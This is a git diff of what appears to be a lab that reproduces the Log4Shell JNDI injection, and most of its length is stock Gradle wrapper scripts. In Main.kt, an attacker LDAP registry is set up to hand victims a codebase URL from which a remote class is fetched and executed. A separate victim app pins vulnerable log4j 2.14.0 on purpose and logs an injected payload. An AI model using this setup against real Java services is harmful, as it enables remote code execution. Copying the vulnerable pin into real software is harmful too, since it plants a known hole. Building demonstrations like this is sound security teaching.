https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit + +APP_NAME="Gradle" +APP_BASE_NAME=${0##*/} + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + +# Collect all arguments for the java command; +# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of +# shell script including quotes and variable substitutions, so put them in +# double quotes to make sure that they get re-expanded; and +# * put everything else in single quotes, so that it's not re-expanded. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/src/attacker_ldap_registry_setup/gradlew.bat b/src/attacker_ldap_registry_setup/gradlew.bat new file mode 100644 index 0000000..ac1b06f --- /dev/null +++ b/src/attacker_ldap_registry_setup/gradlew.bat @@ -0,0 +1,89 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/src/attacker_ldap_registry_setup/settings.gradle.kts b/src/attacker_ldap_registry_setup/settings.gradle.kts new file mode 100644 index 0000000..9b48e11 --- /dev/null +++ b/src/attacker_ldap_registry_setup/settings.gradle.kts @@ -0,0 +1 @@ +rootProject.name = "attacker_ldap_registry_setup" diff --git a/src/attacker_ldap_registry_setup/src/Main.kt b/src/attacker_ldap_registry_setup/src/Main.kt new file mode 100644 index 0000000..0629474 --- /dev/null +++ b/src/attacker_ldap_registry_setup/src/Main.kt @@ -0,0 +1,120 @@ +// Initialize the LDAP registry +// +// The victim will query the LDAP registry for a class. There are two things we +// can return. +// +// Option 1: References +// -------------------- +// We can to return a `Reference` to an object. It will have the name of the +// class of the object, as well as a factory to use to make it. This factory +// class will then be downloaded an attacker-controlled URL and executed on the +// victim. +// +// Option 2: Serialized Objects +// ---------------------------- +// Alternatively, we can return an object that was serialized and put in the +// registry. There is no trickery here with factory classes. It gets the data +// associated with the *object*, then downloads the corresponding *class* from +// an attacker-controlled URL. +// +// This Kotlin program just initializes the LDAP registry with both options. +// This would more practically be done with an LDIF file, but this can work too. +// For Option 1, it puts at `cn=made-class,dc=ldap-registry,dc=attacker` a +// `Reference` to an object of type `MadeClass`. It specifies that the class +// `FactoryClass` should be used to construct it, and that the `.class` files +// for both of these classes can be found at a particular URL. For Option 2, it +// puts the serialized data at `cn=serialized-class` with the same domain +// components as above. + + +import java.util.Hashtable + +import javax.naming.Context +import javax.naming.directory.DirContext +import javax.naming.directory.InitialDirContext + +import javax.naming.Reference +import javax.naming.directory.BasicAttributes + +import javax.naming.CommunicationException + + +// Default addresses to use in case none were specified at the command-line +val DEFAULT_ATTACKER_LDAP_REGISTRY_URL = "ldap://localhost:1389/dc=ldap-registry,dc=attacker" +val DEFAULT_ATTACKER_CODEBASE_URL = "http://localhost:8080/" + +fun main() { + + // What LDAP registry to use + // This will point the victim to a class name and a factory to pass that + // name to. The factory will be invoked, causing RCE. + val attacker_ldap_registry_url = + System.getProperty("attacker-ldap-registry-url") ?: DEFAULT_ATTACKER_LDAP_REGISTRY_URL + // Where the codebase is + // The attacker must host the factory class somewhere, probably on an HTTP + // server. This is where the victim will download code from + val attacker_codebase_url = + System.getProperty("attacker-codebase-url") ?: DEFAULT_ATTACKER_CODEBASE_URL + + // Create a Hashtable for the configuration + // Yes, it must be a Hashtable + var env = Hashtable() + + // Put the location of the registry we want to use for JNDI + env.put( + Context.PROVIDER_URL, + attacker_ldap_registry_url) + // Specify what the backend for JNDI should be + // We're using LDAP + env.put( + Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory") + // Authenticate as the administrator + env.put( + Context.SECURITY_AUTHENTICATION, + "simple") + env.put( + Context.SECURITY_PRINCIPAL, + "cn=admin,dc=ldap-registry,dc=attacker") + env.put( + Context.SECURITY_CREDENTIALS, + "admin") + + // Construct a context using the helper function + // The server might not be up when we first start this service, so we loop + // until we're able to connect. That's all the helper function does. Aside + // from the looping, it just does `InitialContext(env)`. + var ctx: DirContext? = null + while(ctx == null) { + try { + // The server might prematurely accept our connection + // Resolve this in the most jank way possible - by sleeping. It + // takes about two seconds for the setup to finish on my computer, + // so sleep for five. + ctx = InitialDirContext(env) + println("Connected!") + Thread.sleep(5000) + + } catch(_: CommunicationException) { + println("Failed to connect.") + println("Retrying after 1 second...") + Thread.sleep(1000) + } + } + + // Add the reference to the registry + ctx.rebind( + "cn=made-class", + Reference("MadeClass", "FactoryClass", attacker_codebase_url), + ) + // Same for the serialized class + // Need to manually add the codebase + ctx.rebind( + "cn=serialized-class", + SerializedClass("Serialized Object's Message"), + BasicAttributes("javaCodebase", attacker_codebase_url), + ) + + // For good measure + ctx.close() +} diff --git a/src/victim/.dockerignore b/src/victim/.dockerignore new file mode 100644 index 0000000..85f7d81 --- /dev/null +++ b/src/victim/.dockerignore @@ -0,0 +1,5 @@ +# Ignore Gradle build output +build/ + +# Ignore Gradle metadata +.gradle/ diff --git a/src/victim/build.gradle.kts b/src/victim/build.gradle.kts new file mode 100644 index 0000000..bc2e8ab --- /dev/null +++ b/src/victim/build.gradle.kts @@ -0,0 +1,30 @@ +// Build a Kotlin application +plugins { + kotlin("jvm") version "1.6.10" + application +} + +// Use Maven Central as our repository +repositories { + mavenCentral() +} + +// Depend on Log4J +// Use a vulnerable version +dependencies { + implementation("org.apache.logging.log4j:log4j-api:2.14.0") + implementation("org.apache.logging.log4j:log4j-core:2.14.0") +} + +// Compile for JDK 8 to match the Docker container +java.toolchain.languageVersion.set(JavaLanguageVersion.of(8)) +// Set where to look for source code and resources +sourceSets.main { + java.srcDirs("src/") + resources.srcDirs("res/") +} + +// Set the main class +application { + mainClass.set("MainKt") +} diff --git a/src/victim/gradle/wrapper/gradle-wrapper.jar b/src/victim/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..7454180 Binary files /dev/null and b/src/victim/gradle/wrapper/gradle-wrapper.jar differ diff --git a/src/victim/gradle/wrapper/gradle-wrapper.properties b/src/victim/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..d2880ba --- /dev/null +++ b/src/victim/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.2-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/src/victim/gradlew b/src/victim/gradlew new file mode 100755 index 0000000..1b6c787 --- /dev/null +++ b/src/victim/gradlew @@ -0,0 +1,234 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit + +APP_NAME="Gradle" +APP_BASE_NAME=${0##*/} + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + +# Collect all arguments for the java command; +# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of +# shell script including quotes and variable substitutions, so put them in +# double quotes to make sure that they get re-expanded; and +# * put everything else in single quotes, so that it's not re-expanded. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/src/victim/gradlew.bat b/src/victim/gradlew.bat new file mode 100644 index 0000000..ac1b06f --- /dev/null +++ b/src/victim/gradlew.bat @@ -0,0 +1,89 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/src/victim/res/log4j2.xml b/src/victim/res/log4j2.xml new file mode 100644 index 0000000..0e0cd64 --- /dev/null +++ b/src/victim/res/log4j2.xml @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/victim/settings.gradle.kts b/src/victim/settings.gradle.kts new file mode 100644 index 0000000..214f873 --- /dev/null +++ b/src/victim/settings.gradle.kts @@ -0,0 +1 @@ +rootProject.name = "victim" diff --git a/src/victim/src/Main.kt b/src/victim/src/Main.kt new file mode 100644 index 0000000..5054c51 --- /dev/null +++ b/src/victim/src/Main.kt @@ -0,0 +1,29 @@ +import org.apache.logging.log4j.Logger +import org.apache.logging.log4j.LogManager + + +// Get the logger to use for output +val logger: Logger = LogManager.getLogger() + +fun main() { + + logger.info( + "LDAP Trust: {}", + System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"), + ) + + // Get the payload to log + val payload: String? = System.getProperty("victim-payload") + // Check for null + if(payload == null) { + logger.error("Payload to trace is null") + return + } + + // Log the payload infinitely + // Sleep for a second between each one + while(true) { + logger.trace("Attempted injection: {}", payload) + Thread.sleep(1000) + } +}